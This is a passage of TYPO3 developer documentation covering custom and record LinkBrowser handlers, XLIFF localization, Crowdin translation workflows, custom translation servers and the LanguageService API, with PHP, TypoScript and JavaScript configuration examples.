Enable the field with the following page TSConfig:

EXT:some_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler.page.configuration.pageIdSelector.enabled = 1
Copied!

The RecordLinkHandler

The RecordLinkHandler enables editors to link to single records, for example the detail page of a news record.

You can find examples here:

The handler is implemented in class \TYPO3\CMS\Backend\LinkHandler\RecordLinkHandler of the system extension backend. The class is marked as @internal and contains neither hooks nor events.

In order to use the RecordLinkHandler it can be configured as following:

  1. Page TSconfig is used to create a new tab in the LinkBrowser to be able to select records.

    TCEMAIN.linkHandler.anIdentifier {
        handler = TYPO3\CMS\Backend\LinkHandler\RecordLinkHandler
        label = LLL:EXT:extension/Resources/Private/Language/locallang.xlf:link.customTab
        configuration {
            table = tx_example_domain_model_item
        }
        scanAfter = page
    }
    Copied!

    You can position your own handlers in order as defined in the LinkBrowser API.

    The links are now stored in the database with the syntax <a href="t3://record?identifier=anIdentifier&amp;uid=456">A link</a>.

  2. TypoScript configures how the link will be displayed in the frontend.

    config.recordLinks.anIdentifier {
        // Do not force link generation when the record is hidden
        forceLink = 0
        typolink {
            parameter = 123
            additionalParams.data = field:uid
            additionalParams.wrap = &tx_example_pi1[item]=|&tx_example_pi1[controller]=Item&tx_example_pi1[action]=show
        }
    }
    Copied!

RecordLinkHandler page TSconfig options

The minimal page TSconfig configuration is:

EXT:some_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler.anIdentifier {
    handler = TYPO3\CMS\Backend\LinkHandler\RecordLinkHandler
    label = LLL:EXT:extension/Resources/Private/Language/locallang.xlf:link.customTab
    configuration {
        table = tx_example_domain_model_item
    }
}
Copied!

The following optional configuration is available:

configuration.hidePageTree = 1
Hide the page tree in the link browser
configuration.storagePid = 84
The link browser starts with the given page
configuration.pageTreeMountPoints = 123,456
Only records on these pages and their children will be displayed

Furthermore the following options are available from the LinkBrowser Api:

configuration.scanAfter = page or configuration.scanBefore = page
Define the order in which handlers are queried when determining the responsible tab for an existing link
configuration.displayBefore = page or configuration.displayAfter = page
Define the order of how the various tabs are displayed in the link browser.

LinkHandler TypoScript options

A configuration could look like this:

EXT:some_extension/Configuration/TypoScript/setup.typoscript
config.recordLinks.anIdentifier {
    forceLink = 0

    typolink {
        parameter = 123
        additionalParams.data = field:uid
        additionalParams.wrap = &tx_example_pi1[item]=|
    }
}
Copied!

The TypoScript Configuration of the LinkHandler is being used in sysext frontend in class \TYPO3\CMS\Frontend\Typolink\DatabaseRecordLinkBuilder .

Implementing a custom LinkHandler

It is possible to implement a custom LinkHandler if links are to be created and handled that cannot be handled by any of the Core LinkHandlers.

The example below is part of the TYPO3 Documentation Team extension examples.

Implementing the LinkHandler

You can have a look at the existing LinkHandler in the system extension "backend", found at typo3/sysext/backend/Classes/LinkHandler.

However please note that all these extensions extend the \TYPO3\CMS\Backend\LinkHandler\AbstractLinkHandler , which is marked as @internal and subject to change without further notice.

You should therefore implement the interface \TYPO3\CMS\Backend\LinkHandler\LinkHandlerInterface in your custom LinkHandlers:

EXT:my_extension/Classes/LinkHandler/GitHubLinkHandler.php
<?php

namespace T3docs\Examples\LinkHandler;

use Psr\Http\Message\ServerRequestInterface;
use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
use TYPO3\CMS\Backend\Controller\AbstractLinkBrowserController;
use TYPO3\CMS\Backend\LinkHandler\LinkHandlerInterface;
use TYPO3\CMS\Core\Page\PageRenderer;
use TYPO3\CMS\Core\View\ViewFactoryData;
use TYPO3\CMS\Core\View\ViewFactoryInterface;

#[Autoconfigure(public: true)]
final class GitHubLinkHandler implements LinkHandlerInterface
{
    protected $linkAttributes = ['target', 'title', 'class', 'params', 'rel'];
    protected $configuration;
    private array $linkParts;

    public function __construct(
        private readonly PageRenderer $pageRenderer,
        private readonly ViewFactoryInterface $viewFactory,
    ) {}

    /**
     * Initialize the handler
     *
     * @param AbstractLinkBrowserController $linkBrowser
     * @param string $identifier
     * @param array $configuration Page TSconfig
     */
    public function initialize(AbstractLinkBrowserController $linkBrowser, $identifier, array $configuration)
    {
        $this->configuration = $configuration;
    }

    /**
     * Checks if this is the handler for the given link
     *
     * Also stores information locally about currently linked issue
     *
     * @param array $linkParts Link parts as returned from TypoLinkCodecService
     *
     * @return bool
     */
    public function canHandleLink(array $linkParts)
    {
        if (isset($linkParts['url']['github'])) {
            $this->linkParts = $linkParts;
            return true;
        }
        return false;
    }

    /**
     * Format the current link for HTML output
     *
     * @return string
     */
    public function formatCurrentUrl(): string
    {
        return $this->linkParts['url']['github'];
    }

    /**
     * Render the link handler
     */
    public function render(ServerRequestInterface $request): string
    {
        $this->pageRenderer->loadJavaScriptModule('@vendor/my-extension/GitHubLinkHandler.js');
        $viewFactoryData = new ViewFactoryData(
            templateRootPaths: ['EXT:myExt/Resources/Private/Templates/LinkBrowser'],
            partialRootPaths: ['EXT:myExt/Resources/Private/Partials/LinkBrowser'],
            layoutRootPaths: ['EXT:myExt/Resources/Private/Layouts/LinkBrowser'],
            request: $request,
        );
        $view = $this->viewFactory->create($viewFactoryData);
        $view->assign('project', $this->configuration['project']);
        $view->assign('action', $this->configuration['action']);
        $view->assign('github', !empty($this->linkParts) ? $this->linkParts['url']['github'] : '');
        return $view->render('GitHub');
    }

    /**
     * @return string[] Array of body-tag attributes
     */
    public function getBodyTagAttributes(): array
    {
        return [];
    }

    /**
     * @return array
     */
    public function getLinkAttributes()
    {
        return $this->linkAttributes;
    }

    /**
     * @param string[] $fieldDefinitions Array of link attribute field definitions
     * @return string[]
     */
    public function modifyLinkAttributes(array $fieldDefinitions)
    {
        return $fieldDefinitions;
    }

    /**
     * We don't support updates since there is no difference to simply set the link again.
     *
     * @return bool
     */
    public function isUpdateSupported()
    {
        return false;
    }
}
Copied!

Changed in version 14.0

The LinkHandler then has to be registered via page TSconfig:

EXT:my_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler {
  github {
    handler = T3docs\\Examples\\LinkHandler\\GitHubLinkHandler
    label = LLL:EXT:examples/Resources/Private/Language/locallang_browse_links.xlf:github
    displayAfter = url
    scanBefore = url
    configuration {
      project = TYPO3-Documentation/TYPO3CMS-Reference-CoreApi
      action = issues
    }
  }
}
Copied!

And the JavaScript, depending on RequireJS (Removed), has to be added in a file Resources/Public/JavaScript/GitHubLinkHandler.js:

EXT:my_extension/Resources/Public/JavaScript/GitHubLinkHandler.js
/**
 * Module: TYPO3/CMS/Examples/GitHubLinkHandler
 * GitHub issue link interaction
 */
define(['jquery', 'TYPO3/CMS/Recordlist/LinkBrowser'], function($, LinkBrowser) {
  'use strict';

  /**
   *
   * @type {{}}
   * @exports T3docs/Examples/GitHubLinkHandler
   */
  var GitHubLinkHandler = {};

  $(function() {
    $('#lgithubform').on('submit', function(event) {
      event.preventDefault();

      var value = $(this).find('[name="lgithub"]').val();
      if (value === 'github:') {
        return;
      }
      if (value.indexOf('github:') === 0) {
        value = value.substr(7);
      }
      LinkBrowser.finalizeFunction('github:' + value);
    });
  });

  return GitHubLinkHandler;
});
Copied!

This would create a link looking like this:

<a href="github:123">Example Link</a>
Copied!

Which could, for example, be interpreted by a custom protocol handler on a company computer's operating system.

Browse records of a table

This tutorial explains how to create a link browser to the records of a table. It can be used to create links to a news detail page (See also the Link browser example in tutorial in the news extension manual) or to the record of another third-party extension.

In our example extension t3docs/examples we demonstrate creating a custom record link browser by linking to the single view of a haiku poem.

A link browser for records of the custom table 'haiku'

Introduction

Except for some low level functions, TYPO3 exclusively uses localizable strings for all labels displayed in the backend. This means that the whole user interface may be translated. The encoding is strictly UTF-8.

The default language is American (US) English, and the Core ships only with such labels (and so should extensions).

All labels are stored in XLIFF format, generally located in the Resources/Private/Language/ folder of an extension (old locations may still be found in some places).

The format, TYPO3 specific details and managing interfaces of XLIFF are outlined in detail in this chapter.

Supported languages

New in version 13.1

Irish Gaelic (ga), Scottish Gaelic (gd) and Maltese (mt) are supported.

The list of supported languages is defined in \TYPO3\CMS\Core\Localization\Locales::$languages.

Locale in TYPO3 Name
default English
af Afrikaans
ar Arabic
bs Bosnian
bg Bulgarian
ca Catalan
ch Chinese (Simple)
cs Czech
da Danish
de German
el Greek
eo Esperanto
es Spanish
et Estonian
eu Basque
fa Persian
fi Finnish
fo Faroese
fr French
fr_CA French (Canada)
ga Irish Gaelic
gd Scottish Gaelic
gl Galician
he Hebrew
hi Hindi
hr Croatian
hu Hungarian
is Icelandic
it Italian
ja Japanese
ka Georgian
kl Greenlandic
km Khmer
ko Korean
lb Luxembourgish
lt Lithuanian
lv Latvian
mi Maori
mk Macedonian
ms Malay
mt Maltese
nl Dutch
no Norwegian
pl Polish
pt Portuguese
pt_BR Brazilian Portuguese
ro Romanian
ru Russian
rw Kinyarwanda
sk Slovak
sl Slovenian
sn Shona (Bantu)
sq Albanian
sr Serbian
sv Swedish
th Thai
tr Turkish
uk Ukrainian
vi Vietnamese
zh Chinese (Traditional)
zh_CN Chinese (Simplified)
zh_HK Chinese (Simplified Hong Kong)
zh_Hans_CN Chinese (Simplified Han)

Managing translations

This sections highlights the different ways to translate and manage XLIFF files.

Fetching translations

The backend module Admin Tools > Maintenance > Manage Language Packs allows to manage the list of available languages to your users and can fetch and update language packs of TER and Core extensions from the official translation server. The module is rather straightforward to use and should be pretty much self-explanatory. Downloaded language packs are stored in the environment's getLabelsPath().

The Languages module with some active languages and status of extensions language packs

Language packs can also be fetched using the command line:

vendor/bin/typo3 language:update
Copied!
typo3/sysext/core/bin/typo3 language:update
Copied!

Local translations

With t3ll it is possible to translate XLIFF files locally. t3ll is an open source, cross-platform application and runs on console under Linux, MacOS and Windows. It opens its editor inside a Google Chrome or Chromium window.

t3ll screenshot

Translating with t3ll

Just call on a console, for example:

t3ll path/to/your/extension/Resources/Private/Language/locallang.xlf
Copied!
t3ll.exe path\to\your\extension\Resources\Private\Language\locallang.xlf
Copied!

Translating files locally is useful for extensions which should not be published or for creating custom translations.

Custom translations

$GLOBALS['TYPO3_CONF_VARS']['SYS']['locallangXMLOverride'] allows to override XLIFF files. Actually, this is not just about translations. Default language files can also be overridden. The syntax is as follows:

EXT:examples/ext_localconf.php
<?php

declare(strict_types=1);

defined('TYPO3') or die();
// Override a file in the default language

$GLOBALS['TYPO3_CONF_VARS']['SYS']['locallangXMLOverride']
    ['EXT:frontend/Resources/Private/Language/locallang_tca.xlf'][]
        = 'EXT:examples/Resources/Private/Language/custom.xlf';
// Override a German ("de") translation
$GLOBALS['TYPO3_CONF_VARS']['SYS']['locallangXMLOverride']['de']
    ['EXT:news/Resources/Private/Language/locallang_modadministration.xlf'][]
        = 'EXT:examples/Resources/Private/Language/Overrides/de.locallang_modadministration.xlf';
Copied!

The German language file looks like this:

EXT:examples/Resources/Private/Language/Overrides/de.locallang_modadministration.xlf
<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<xliff version="1.0">
    <file source-language="en" datatype="plaintext" date="2013-03-09T18:44:59Z" product-name="examples">
        <body>
            <trans-unit id="pages.title_formlabel" approved="yes">
                <source>Most important title</source>
                <target>Wichtigster Titel</target>
            </trans-unit>
        </body>
    </file>
</xliff>
Copied!

and the result can be easily seen in the backend:

Custom label

Custom translation in the TYPO3 backend

Custom languages

TYPO3 supports many languages by default. But it is also possible to add custom languages and create the translations locally using XLIFF files.

  1. Define the language

    As example, we "gsw_CH" (the official code for “Schwiizertüütsch” - that is "Swiss German") as additional language:

    config/system/additional.php | typo3conf/system/additional.php
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['localization']['locales']['user'] = [
        'gsw_CH' => 'Swiss German',
    ];
    Copied!
  2. Add fallback to another language

    This new language does not have to be translated entirely. It can be defined as a fallback to another language, so that only differing labels have to be translated:

    config/system/additional.php | typo3conf/system/additional.php
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['localization']['locales']['dependencies'] = [
        'gsw_CH' => ['de_AT', 'de'],
    ];
    Copied!

    In this case, we define that "gsw_CH" can fall back on "de_AT" (another custom translation) and then on "de".

  3. Add translation files

    The translations for system extensions and extensions from TER must be stored in the appropriate labels path sub-folder (getLabelsPath()), in this case gsw_CH.

    The least you need to do is to translate the label with the name of the language itself so that it appears in the user settings. In our example, this would be in the file gsw_CH/setup/Resources/Private/Language/gsw_CH.locallang.xlf.

    gsw_CH/setup/Resources/Private/Language/gsw_CH.locallang.xlf
    <?xml version="1.0" encoding="UTF-8"?>
    <xliff xmlns="urn:oasis:names:tc:xliff:document:1.2" version="1.2">
        <file source-language="en" target-language="gsw_CH" datatype="plaintext" original="EXT:setup/Resources/Private/Language/locallang.xlf">
            <body>
                <trans-unit id="lang_gsw_CH" approved="yes">
                    <source>Swiss German</source>
                    <target>Schwiizertüütsch</target>
                </trans-unit>
            </body>
        </file>
    </xliff>
    Copied!

    The custom language is now available in the user settings:

    The new language appears in the user preferences

    For translations in own extensions you can provide the custom language files in the Resources/Private/Language/ folder of the extension, for example gsw_CH.locallang_db.xlf.

Localization with Crowdin


What is Crowdin?

Crowdin is a cloud-based localization management platform and offers features essential for delivering great translation:

Single source
Translate text once that is used in different versions and parts of the software.
Machine translation
Let machines do the first pass and then human-translators can edit the suggestions.
Glossary
We can use our own TYPO3 glossary to make sure specific words are properly translated (for example, "Template" in German, "TypoScript" or "SEO").
Translation memory
We can reuse existing translations, no matter if done for the TYPO3 Core or an extension.

Contribute translations

There are basically two cases where you can provide a helping hand:

Join the Localization Team and help where you can. This can be the translation of a whole extension into your language or the revision of a part of the Core.

  1. Contribution to the general translation of the TYPO3 Core and extensions: As TYPO3 is growing in features and functionality, the need for translating new labels grows as well. You can contribute with help while TYPO3 is growing. Join in and give a hand where you can. This can be the translation of a whole extension into your language or the revision of a part of the Core.
  2. If you develop extensions, you can make the extension available for translation. Just follow Extension integration to make it available to the translation team.

Even if you do not see yourself as a translator, you can still participate. In case you stumble across a typo, an error or an untranslated term in your language in TYPO3: Log in to Crowdin, join the project where you found the typo and make a suggestion for the label in your language.

The quality of your work is more important than its quantity. Ensure correct spelling (for example, capitalization), grammar, and punctuation. Use only terminology that is consistent with the rest of the language pack. Do not make mistakes in the technical parts of the strings, such as variable placeholders, HTML, etc. For these reasons, using an automatic translation (e.g. Google Translate) is never good enough.

For these reasons, using automatic translation (for example, Google Translate or DeepL) is never good enough.

All services and documents that are visible to the user are translated by the translation team. It does not matter which language you speak. We already have many language teams that are very active. Our goal is more diversity to help us with our work on internationalization.

More to read

Extension integration

This section describes how an extension author can get his extension set up at Crowdin.

Setup

Get in contact with the team in the TYPO3 Slack channel #typo3-localization-team with the following information:

  1. Extension name
  2. Your email address for an invitation to Crowdin, so you will get the correct role for your project.

Integration

In a next step you need to configure the integration of your Git provider into Crowdin. Have a look at the documentation on how to connect your repository with Crowdin:

Step-by-step instructions for GitHub

Step 1: Create a Crowdin configuration file

Within your TYPO3 extension repository, create a .crowdin.yml file at root with the following content:

EXT:my_extension/.crowdin.yml
preserve_hierarchy: 1
files:
  - source: /Resources/Private/Language/*.xlf
    translation: /%original_path%/%two_letters_code%.%original_file_name%
    ignore:
      - /**/%two_letters_code%.%original_file_name%
Copied!

Step 2: Configure the GitHub integration

In the Crowdin project settings, go to the Integrations tab and click on the button "Browse Integrations", then choose "GitHub". Follow the instructions to connect your GitHub repository to Crowdin.

Once installed, the Integrations tab will show the GitHub integration with a button to "Set Up Integration". Click on it and choose the mode "Source and translation files mode".

At this point, Crowdin will request additional permissions to access your repository. You should accept the default permissions and click on the "Authorize crowdin" button.

Then follow the instructions to configure the integration:

  1. Select the repository from the list of your GitHub repositories.
  2. Select the branch to use for synchronization (usually main or master). - When ticking the branch, Crowdin will suggest a "Service Branch Name" l10n_main (or l10n_master), which is the branch where Crowdin will push the translations. You can keep the default value.
  3. Click the pencil icon next to the Service Branch Name to edit configuration.
  4. When asked for the Configuration file name, change it from crowdin.yml to .crowdin.yml and click "Continue". This will effectively use the configuration we created in Step 1 and ensure that everything is properly configured for your TYPO3 extension.
  5. Click the "Save" button to save the configuration.
  6. Back to the main GitHub integration page, you should see a circled checkmark next to the Service Branch Name, indicating that the integration is correctly set up.
  7. Ensure the checkbox "One-time translation import after the branch is connected" is ticked.
  8. Do not tick the checkbox "Push Sources" as the sources are already in the repository and changes are managed within the extension repository and not in Crowdin.
  9. Click the "Save" button to save the configuration of the integration.

Step 3: Import existing translations

In case you have local translations, you may do a one-time import by using the Crowdin web interface and manually importing a zip file with the existing translations.

To prepare the zip file, you can use the following command:

zip translations.zip Resources/Private/Language/*.*.xlf
Copied!

Then go to the Crowdin project, click on the "Translations" tab and drag and drop the zip file into the area "Upload existing translations".

Happy translating!

Online translation with Crowdin

Getting started

If you want to participate, it only takes a few steps to get started:

  1. Create an account at Crowdin: https://accounts.crowdin.com/register
  2. Either find a TYPO3-project or go straight to TYPO3 Core (https://crowdin.com/project/typo3-cms). There is also a list of extensions available for translation at the TYPO3 Crowdin Bridge
  3. Join the project
  4. Select your preferred language
  5. Start translation

Using Crowdin is free for Open Source projects. For private projects, Crowdin's pricing model is based on projects and not on individual users.

To help you get started, Tom Warwick has created a short tutorial video for you:

Teams and roles

When you sign up for an account at Crowdin for the first time, you will be awarded with the role "Translator" and you can start translating.

Find the project via the search and click on the Join button. Click on the language/flag you want to translate. Go ahead and translate!

All translated strings are considered translated, but not proofread. When the strings have been proofread by team members with the "Proofreader" role, the translation will be available for all TYPO3 instances via the "Managing Language Packs" section in the TYPO3 backend.

The language files in Core

In Crowdin, the TYPO3 Core is divided into system extensions and their underlying language files. Each system extension contains one or more files, and the structure reflects the actual structure, but only for the XLIFF files.

While you translate an XLIFF file, Crowdin supports you with valuable information:

  • You get a clear overview on the progress. A grey bar means that work needs to be done, the blue bar shows how many words have been translated and the green bar shows how many words have been approved.
  • The system offers you suggestions on terms and translations from the Translation Memory (TM) and Machine Translation (MT).
  • You can sort and order the labels in different ways; show only untranslated, unresolved, commented, and so on. And all the labels as well.
  • You can start discussions about a specific string.
  • You can search the Translation Memory.
  • You can improve the Translation Memory by adding new terms.
  • You can easily get in contact with the language manager and team members.

Preconditions

You need a detailed understanding of how TYPO3 works. You have preferably worked with TYPO3 for some years as developer, administrator, integrator or senior editor. You know your way around in the backend and you are familiar with most of the functionality and features. If you are more focused in translating extensions, you will need to understand all the parts of the extension before you start translating.

What skills are needed

You need to be bilingual: fluent in both English and the language you are translating into. It would be hard work if you only had casual knowledge of the target language or English. And we would (probably) end up with a confusing localization.

A good understanding of how a language is constructed in terms of nouns, verbs, punctuation and grammar in general will be necessary.

How to create (good) translations

  1. Stay true to the source labels you work with. Given that the developer of the code, who made the English text, understands the functionality best, please try to translate the meaning of the sentences.
  2. Translate organically, not literally. The structure or your target language is important. English often has a different structure and tone, so you must adapt the equal text but the equivalent. So please do not replicate, but replace.
  3. Use the same level of formality. The cultural context can be very different from different languages. What works in English may be way far too informal in your language and vice versa. Try to find a good level of (in)formality and stick to it. And be open to discuss it with your fellow team translators.
  4. Look into other localized projects in your language. There are tons of Open Source projects being translated, also into your language. Be curious and look at how the localization is done – there might be things to learn and adapt.
  5. Be consistent. Localization of high quality is characterised by the consistency. Make extensive use of the terms and glossary.
  6. Use machine translation carefully. It is tempting but dangerous to do a quick translation with one of the common machine translation tools and sometimes it can help you to get a deeper understanding of the meaning of a text. But very often a machine-translated text breaks all the above rules unless you rework the text carefully afterwards.
  7. Work together. As in all other aspects of Open Source, things get so much better when we work together. So, reach out for help when you get stuck. Or offer your knowledge if someone ask for it. Crowdin provides a good platform for collaborating with your team translators, and please join the Translation Slack channel #typo3-translations.

Translation styles

In general, and where it makes sense, we follow the Writing Style Guide from the Content Team.

In the future (when translation teams start getting bigger), it might be a good idea to develop local style guides.

Become a proofreader

Community-driven translations form the backbone of the translation of TYPO3. Huge thanks to all translators and proofreaders for their invaluable contributions!

Please contact the Localization Team via email at localization@typo3.org to request the role of a proofreader.

Or join the Slack channel of the Localization Team: #typo3-localization-team

FAQ

Should I localize both 13.4 and main?

The main branch is the leading version. Any string that is also present in the previous version is automatically filled during export and only needs to be localized if it is different in the previous version.

Strings are translated, but when are they taken into account and available for download?

As soon as a string is proofread, it will be taken into account at the next export. The export is done every two hours.

If the process takes too long, please write an email to localization@typo3.org.

How can I be sure what way a word, term or string is to be translated?

There are several ways to get help: In the left panel you can either search the translation memory (TM) or the term base. You can also drop a comment to start a discussion or ask for advice.

Where do I meet all the other translators?

There is a good chance to find help and endorsement in the TYPO3 Slack workspace. Try the Translation Slack channel #typo3-translations.

Workflow

The following workflow is used to bring a translation into a TYPO3 installation.

  1. English sources

    The sources in English are maintained in the project itself.

  2. Creating translations on Crowdin.com

    The translations for the TYPO3 Core are managed on Crowdin at https://crowdin.com/project/typo3-cms.

    You can either translate all strings on the Crowdin platform or directly in the TYPO3 backend.

    You can find the status of translations for TYPO3 Core and extensions here: https://localize.typo3.org/xliff/status.html

  3. Crowdin Bridge

    A separate project is accountable for exporting the translations from Crowdin. This consists of several steps:

    • Trigger a build of all projects
    • Download all translations including multiple branches and all available languages
    • Create ZIP files of all single XLIFF files
    • Copy the files to the translation server

    The Crowdin Bridge is available under https://github.com/TYPO3/crowdin-bridge.

  4. Import translations into TYPO3 installations

    The translations can be downloaded within a TYPO3 installation. This is described under Fetching translations.

Chart

+--------------+                   +----------------+
|  1) GitHub   |                   | 2) Crowdin.com |
|--------------|                   |----------------|
|              |  Automated Sync   |- Translate     |
| TYPO3 Core   |+----------------> |- Proofread     |
|  and         |                   |                |
| Extensions   |                   | in all         |
|              |                   | languages      |
+--------------+                   +----------------+
                                          ^
                                          |
  +---------------------------------------+
  |Triggered via GitHub actions
  v
+-------------------+                 +-----------------------+
| 3) Crowdin Bridge |                 | 4) Translation Server |
|-------------------|                 |-----------------------|
|- Build projects   |                 |- Serves l10n zip      |
|- Download         |     rsync to    |  files, requested     |
|  translations     |+--------------->|  by TYPO3 sites       |
|- Create zips      |                 |- Hosts status page    |
|- Status pages     |                 +-----------------------+
+-------------------+
Copied!

Frequently asked questions (FAQ)

General questions

My favorite extension is not available on Crowdin

If you miss an extension on Crowdin, contact the extension owner to create a project on Crowdin.

It is important that they follow the description on the page Extension integration. The setup is a simple process and done within minutes.

My favorite language is not available for an extension

If you are missing the support for a specific language in an extension on Crowdin please contact either the maintainer of the extension or the Localization Team.

Will the old translation server be disabled?

The old translation server under https://translation.typo3.org/ has been turned off in July 2023.

The existing and exported translations which are downloaded within the Install Tool will be available for longer time.

How to convert to the new language XLIFF file format

If you have downloaded an XLIFF file from the deactivated Pootle language server or an old version of an extension, then it does not have the correct format. You need to remove some attributes.

Questions about extension integration

Why does Crowdin show me translations in source language?

If you have just set up Crowdin and ship translated XLIFF files in your extension, they will also show up as files to be translated.

You need to exclude them in your .crowdin.yml configuration, which is located in the extension root directory.

EXT:my_extension/.crowdin.yml
files:
  - source: /Resources/Private/Language/
    translation: /Resources/Private/Language/%two_letters_code%.%original_file_name%
    ignore:
      - /Resources/Private/Language/de.*
Copied!

Can I upload translated XLIFF files?

Yes, you can! Switch to the settings area of your project (you need to have the proper permissions for that) and you can upload XLIFF files or even ZIP files containing the XLIFF files.

Upload translations

Upload translations

After triggering the upload, Crowdin tries to find the matching source files and target languages. You may have to accept both if they are not found automatically.

How can I disable the pushing of changes?

By default, Crowdin pushes changes made in translations back to the repository. This is not necessary, as the translation server provided by TYPO3 handles the distribution of translations, so your extension does not need to ship the translations.

You can disable the pushing of changes back into your repository in the Crowdin configuration. Navigate in your Crowdin project to Integrations and select your integration (for example, GitHub). Then click on the Edit button and disable the Push Sources checkbox.

My integration stopped working and I saved the setup again. Now, the language files are shown twice?

If there was an attempt to connect another repository to the project before, this might happen. In this case, to prevent overwrites, Crowdin renames the existing master branch to [repo_name] master and it allows you to keep [repo_name] master and [another_repo] master in the same project, but if you delete all existing integrations, the system forgets about the multi-repo logic in the project, and it will upload just master branch to Crowdin

What to do:

  • Delete newly uploaded master
  • Rename [repo_name] master branch in Crowdin to master
  • Pause/resume GitHub sync, so the system has updated existing old files in the master branch

The reason why the integration disconnected previously - it creates crowdin.yml configuration file by default, but (probably) at some point it was renamed to .crowdin.yml (mind the dot at the start) in the repo, so integration was suspended as it couldn't locate the original configuration file.

When you re-connected the repo, you specified .crowdin.yml as configuration file name, so now it should work.

How can I migrate translations from Pootle?

If there were already translations on the old, discontinues translation server powered by Pootle, you do not need to translate everything again on Crowdin - you can import them.

  1. Fetch translations: Download the translations you need. You will need to download them directly from the TER with the following URL pattern:

    https://extensions.typo3.org/fileadmin/ter/<e>/<x>/<extension_key>-l10n/<extension_key>-l10n-<lang>.zip

    <extension_key>
    The full extension key.
    <e>
    The first letter of that extension key.
    <x>
    The second letter of that extension key.
    <lang>
    The ISO 639-1 code of the language, for example, de for German.

    For example, to download the German translations of the news extension:

    wget https://extensions.typo3.org/fileadmin/l10n/n/e/news-l10n/news-l10n-de.zip
    Copied!
  2. Open and Cleanup: Unzip the translations and switch to, for example, Resources/Private/Language/ which is the typical directory of translations. Remove the .xml files as only the .xlf files are important.
  3. Match the files The attribute original of the translations must match the ones of the default translations.

    Example: The file Resources/Private/Language/locallang.xlf starts with the following snippet:

    <?xml version="1.0" encoding="utf-8" standalone="yes" ?>
        <xliff version="1.0">
            <file source-language="en" datatype="plaintext" original="EXT:news/Resources/Private/Language/locallang.xlf">
    Copied!

    The file de.locallang.xlf must be modified and original="messages" must be changed to original="EXT:news/Resources/Private/Language/locallang.xlf"

  4. Upload the Translations Have a look at Can I upload translated XLIFF files?.

crowdin.yml, .crowdin.yml or crowdin.yaml?

All three filenames are valid names for for Crowdin CLI to detect the configuration file. We recommend using .crowdin.yml to make it more obvious that it's a configuration file.

Questions about TYPO3 Core integration

The Core Team added a new system extension. Why are language packs not available even though it has already been translated into language XY?

The new system extension needs to be added to the configuration of https://github.com/TYPO3/crowdin-bridge/. You can speed up the change by creating a pull request like this one: https://github.com/TYPO3/crowdin-bridge/pull/6/commits.

Custom translation servers

With the usage of XLIFF and the freely available Pootle translation server, companies and individuals may easily set up a custom translation server for their extensions.

The event ModifyLanguagePackRemoteBaseUrlEvent can be caught to change the translation server URL, for example:

EXT:my_extension/Classes/EventListener/CustomMirror.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Http\Uri;
use TYPO3\CMS\Install\Service\Event\ModifyLanguagePackRemoteBaseUrlEvent;

#[AsEventListener(
    identifier: 'my-extension/custom-mirror',
)]
final readonly class CustomMirror
{
    private const EXTENSION_KEY = 'my_extension';
    private const MIRROR_URL = 'https://example.org/typo3-packages/';

    public function __invoke(ModifyLanguagePackRemoteBaseUrlEvent $event): void
    {
        if ($event->getPackageKey() === self::EXTENSION_KEY) {
            $event->setBaseUrl(new Uri(self::MIRROR_URL));
        }
    }
}
Copied!

In the above example, the URL is changed only for a given extension, but of course it could be changed on a more general basis.

On the custom translation server side, the structure needs to be:

https://example.org/typo3-packages/
`-- <first-letter-of-extension-key>
    `-- <second-letter-of-extension-key>
        `-- <extension-key>-l10n
            |-- <extension-key>-l10n-de.zip
            |-- <extension-key>-l10n-fr.zip
            `-- <extension-key>-l10n-it.zip
Copied!

hence in our example:

https://example.org/typo3-packages/
`-- m
    `-- y
        `-- my_extension-l10n
            |-- my_extension-l10n-de.zip
            |-- my_extension-l10n-fr.zip
            `-- my_extension-l10n-it.zip
Copied!

LanguageService

This class is used to translate strings in plain PHP. For examples see Localization in PHP. A LanguageService should not be created directly, therefore its constructor is internal. Create a LanguageService with the LanguageServiceFactory.

In the backend context a LanguageService is stored in the global variable $GLOBALS['LANG']. In the frontend a LanguageService can be accessed via the contentObject:

class LanguageService
Fully qualified name
\TYPO3\CMS\Core\Localization\LanguageService

Main API to fetch labels from XLF (label files) based on the current system language of TYPO3. It is able to resolve references to files + their pointers to the proper language. If you see something about "LLL", this class does the trick for you. It is not related to language handling of content, but rather of labels for plugins.

Usually this is injected into $GLOBALS['LANG'] when in backend or CLI context, and populated by the current backend user. Do not rely on $GLOBAL['LANG'] in frontend, as it is only available under certain circumstances! In frontend, this is also used to translate "labels", see TypoScriptFrontendController->sL() for that.

As TYPO3 internally does not match the proper ISO locale standard, the "locale" here is actually a list of supported language keys, (see Locales class), whereas "English" has the language key "default".

Further usages on setting up your own LanguageService in BE:

$languageService = GeneralUtility::makeInstance(LanguageServiceFactory::class)
    ->createFromUserPreferences($GLOBALS['BE_USER']);
Copied!
public lang

This is set to the language that is currently running for the user

sL ( ?string $input)

Main and most often used method.

Resolve strings like these:

'LLL:EXT:core/Resources/Private/Language/locallang_core.xlf:labels.depth_0'
Copied!

This looks up the given .xlf file path in the 'core' extension for label labels.depth_0

Only the plain string contents of a language key, like "Record title: %s" are returned. Placeholder interpolation must be performed separately, for example via sprintf(), like LocalizationUtility::translate() does internally (which should only be used in Extbase context)

Example: Label is defined in EXT:my_ext/Resources/Private/Language/locallang.xlf as:

<trans-unit id="downloaded_times">
    <source>downloaded %d times from %s locations</source>
</trans-unit>
Copied!

The following code example assumes $this->request to hold the current request object. There are several ways to create the LanguageService using the Factory, depending on the context. Please adjust this example to your use case:

$language = $this->request->getAttribute('language');
$languageService =
  GeneralUtility::makeInstance(LanguageServiceFactory::class)
  ->createFromSiteLanguage($language);
$label = sprintf(
     $languageService->sL(
         'LLL:EXT:my_ext/Resources/Private/Language/locallang.xlf:downloaded_times'
     ),
     27,
     'several'
);
Copied!

This will result in $label to contain 'downloaded 27 times from several locations'.

param $input

Label key/reference

Returns
string
overrideLabels ( string $fileRef, array $labels)

Define custom labels which can be overridden for a given file. This is typically the case for TypoScript plugins.

param $fileRef

the fileRef

param $labels

the labels

getLocale ( )
Returns
?\TYPO3\CMS\Core\Localization\Locale

Example: Use

